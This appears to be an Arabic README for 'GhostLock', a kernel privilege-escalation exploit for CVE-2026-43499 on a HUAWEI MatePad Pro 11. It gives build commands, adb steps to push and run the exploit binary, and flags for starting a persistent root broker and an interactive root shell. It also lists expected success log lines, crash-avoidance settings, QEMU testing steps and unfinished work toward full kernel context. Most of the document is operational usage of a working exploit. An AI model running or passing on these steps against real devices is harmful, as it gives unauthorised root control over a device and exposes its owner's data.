GhostLock GOT-W29

تكييف تصعيد الصلاحيات CVE-2026-43499 لجهاز HUAWEI MatePad Pro 11 (GOT-W29، SM8250 / Snapdragon 870، HarmonyOS 4.x، النواة 4.19.157-perf+).

الحالة الحالية:

• اكتمل المسار A على الجهاز الحقيقي: بيانات اعتماد root خاصة شرعية، وSELinux يبقى u:r:shell:s0
• وسيط root دائم: @gl_su
• صدفة root كاملة عبر PTY: Ctrl-C، ومفاتيح الأسهم، والتحكم في المهام الخلفية كلها متاحة
• القراءة العشوائية تستخدم ctl_table مستقلة random/uuid، دون تعديل boot_id وعقدة ashmem
• تم التحقق من البدء البارد للتطبيق بنجاح
• المسار B (u:r:kernel:s0 + full caps) لا يزال TODO

للاطلاع على المبدأ الكامل والإزاحات وأنماط الفشل والسجل التاريخي، راجع TECHNICAL.md.

البناء

cd exploit/ghostlock-source
make -j3

الناتج:

exploit/ghostlock-source/build/bin/ghostlock_exe

تستخدم الآلة الحالية NDK sysroot + host clang للترجمة المتقاطعة، راجع exploit/ghostlock-source/TOOLCHAIN.md.

التشغيل على الجهاز الحقيقي

adb push exploit/ghostlock-source/build/bin/ghostlock_exe /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock_exe

تشغيل وسيط المسار A:

adb shell /data/local/tmp/ghostlock_exe \
  --su-server --simple-root --fake-lock-window \
  --detach --probe-cycle --no-rt --attempts 1 \
  --leak-timeout 60 --fsync \
  --log-file /sdcard/ghostlock-su.log

عند النجاح يتضمن السجل:

simple-root: LEGAL ROOT uid=0 euid=0 ctx=u:r:shell:s0
su: uid=0 euid=0 serving on abstract @gl_su

الاستخدام

التنفيذ من adb shell آخر:

adb shell /data/local/tmp/ghostlock_exe --rsh STATUS
adb shell /data/local/tmp/ghostlock_exe --rsh id
adb shell /data/local/tmp/ghostlock_exe --rsh 'أمرك'

يجب استخدام -t للحصول على صدفة root تفاعلية:

adb shell -t /data/local/tmp/ghostlock_exe --rsh-shell

يقوم broker بتخصيص طرفية تحكم حقيقية للصدفة، لذا يجب أن يعرض tty المسار /dev/pts/N، ويعمل Ctrl-C ومفاتيح الأسهم وjobs والتبديل بين المقدمة والخلفية بشكل طبيعي.

ملاحظات السلامة

• --fake-lock-window و --detach هما المعلمتان الأساسيتان للتشغيل الآمن على الجهاز الحقيقي حالياً.
• لا تستخدم --hold؛ ولا تستخدم kill -9 مباشرة لإنهاء عامل استهلك بالفعل منتظراً معلقاً (dangling waiter).
• محاولة فاشلة قد تسبب oops/panic، لذا أبقِ --attempts 1 على الجهاز الحقيقي.
• لتنظيف عامل detach يجب إعادة تشغيل الجهاز.
• --verify-write و --verify-read و --verify-all هي فحوصات ذاتية لأولية الكتابة boot_id، وستلوّث البايتات الثمانية العليا من boot_id، لذا يجب تشغيلها فقط في QEMU أو عند القبول الصريح للمخاطر.
• لا تستخدم --escalate بدلاً من المسار A؛ فهو محجوز لبحوث المسار B، ويحمل مخاطر دورة حياة cred.

QEMU

cd tools/qemu-test
GLMODE="--simple-root --detach" GDB=0 ./build_and_run.sh
./read_log.py --wait 240 --until 'simple-root: LEGAL ROOT|simple-root: failed'

تفاصيل QEMU في tools/qemu-test/README.md.

مهام المسار B المتبقية

الهدف: الحصول على u:r:kernel:s0 وقدرات كاملة.

قيد الانتظار:

• دورة حياة cred/security واستعادة RCU
• تنفيذ برنامج مساحة المستخدم من نطاق kernel
• سياسات socket bind / mount / الوصول إلى الملفات من نطاق kernel
• fork لعملية root فرعية ووراثة SID
• ما إذا كان إصلاح permissive/SID سيُدخل آثارًا جانبية عالمية

المعلمات الرئيسية

--simple-root             تصعيد صلاحيات المسار A
--su-server               تشغيل وسيط root
--rsh CMD                 تنفيذ أمر واحد
--rsh-shell               صدفة تفاعلية PTY كاملة
--fake-lock-window         استخدام قفل مزيف خاص داخل المكدس (موصى به على الجهاز الحقيقي)
--detach                  إبقاء عامل استهلك المنتظر حياً بشكل دائم
--probe-cycle             طريقة إطلاق EDEADLK المستقرة حالياً على النواة
--no-rt                   تجنب تجويع CFS بواسطة منتظر RT
--attempts 1              عدم إعادة المحاولة عند الفشل على الجهاز الحقيقي
--log-file PATH           سجل دائم
--fsync                   كتابة final-result إلى القرص

يمكن لـ --help سرد جميع معلمات الفحص الذاتي والبحث.